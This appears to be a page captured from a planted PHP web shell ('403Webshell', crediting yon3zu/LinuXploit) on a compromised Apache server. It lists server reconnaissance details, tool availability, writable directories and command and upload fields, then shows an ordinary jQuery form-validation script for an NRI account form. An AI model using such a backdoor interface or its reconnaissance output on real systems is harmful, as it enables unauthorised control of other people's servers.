403Webshell
Server IP : 103.234.187.230  /  Your IP : 216.73.216.216
Web Server : Apache
System : Linux lserver42043-ind.megavelocity.net 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/dcb/script/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/dcb/script/nri_account.js
/* 
    author: Praveen Kumar
*/
jQuery(function($) {
    var validation_holder;

    $("form#saveNriAccountForm input[name='nriaccount']").click(function() {

    var validation_holder = 0;
         
        var name 			= $("form#saveNriAccountForm input[name='name']").val();
        var name_regex	                = /^[A-Za-z]{2,40}$/;
        var email 			= $("form#saveNriAccountForm input[name='email']").val();
        var email_regex 	        = /^[\w%_\-.\d]+@[\w.\-]+.[A-Za-z]{2,6}$/; // reg ex email check
        var country                     = $("form#saveNriAccountForm select[name='country_name']").val();
        var phone 			= $("form#saveNriAccountForm input[name='mobile_no']").val();
        var phone_regex		        = /^[0-9]{10,20}$/; // reg ex phone check
        var captcha                     = $("form#saveNriAccountForm input[name='captcha']").val();

        /* validation start */	
        if(name === "" || name === "Name *") {
                $("span.val_name").html("Enter name").addClass('validate');
                validation_holder = 1;
        } else {
                if((!name_regex.test(name)) && (name !== "Name *")){ // if invalid name
                        $("span.val_name").html("Enter only Alphabetic name").addClass('validate');
                        validation_holder = 1;
                } else {
                        $("span.val_name").html("");
                }
        }
        
        if(email === "" || email === "Email ID *") {
                $("span.val_email").html("Enter email id").addClass('validate');
                validation_holder = 1;
        } 
        else {
                if((!email_regex.test(email)) && (email !== "Email ID *")){ // if invalid email
                        $("span.val_email").html("Invalid Email").addClass('validate');
                        validation_holder = 1;
                } else {
                        $("span.val_email").html("");
                }
        }
        
        if(country === "") {
                $("span.val_country").html("Select country").addClass('validate');
                validation_holder = 1;
        } else {
                $("span.val_country").html("");
        }
        
        if(phone === "" || phone === "Mobile no. *") {
                $("span.val_phone").html("Enter mobile number").addClass('validate');
                validation_holder = 1;
        }
        else {  
                if((!phone_regex.test(phone)) && (phone !== "Mobile no. *")){ // if invalid phone
                 $("span.val_phone").html("Invalid Mobile No.").addClass('validate');
                 validation_holder = 1;
                 }
                 else {
                    $("span.val_phone").html("");
                }    
        } 

        if(captcha === "" || captcha === "Captcha code *") {
                $("span.val_captcha").html("Enter captcha code").addClass('validate');
                validation_holder = 1;
        } else {
                $("span.val_captcha").html("");
        }
        
        if(validation_holder === 1) { // if have a field is blank, return false
                $("p.validate_msg").slideDown("fast");
                return false;
        }  validation_holder = 0; // else return true
        /* validation end */	
    }); // click end 

}); // jQuery End


function isNumber(evt) {
    evt = (evt) ? evt : window.event;
    var charCode = (evt.which) ? evt.which : evt.keyCode;
    if (charCode > 31 && (charCode < 48 || charCode > 57)) {
            return false;
    }
    return true;
}

Youez - 2016 - github.com/yon3zu
LinuXploit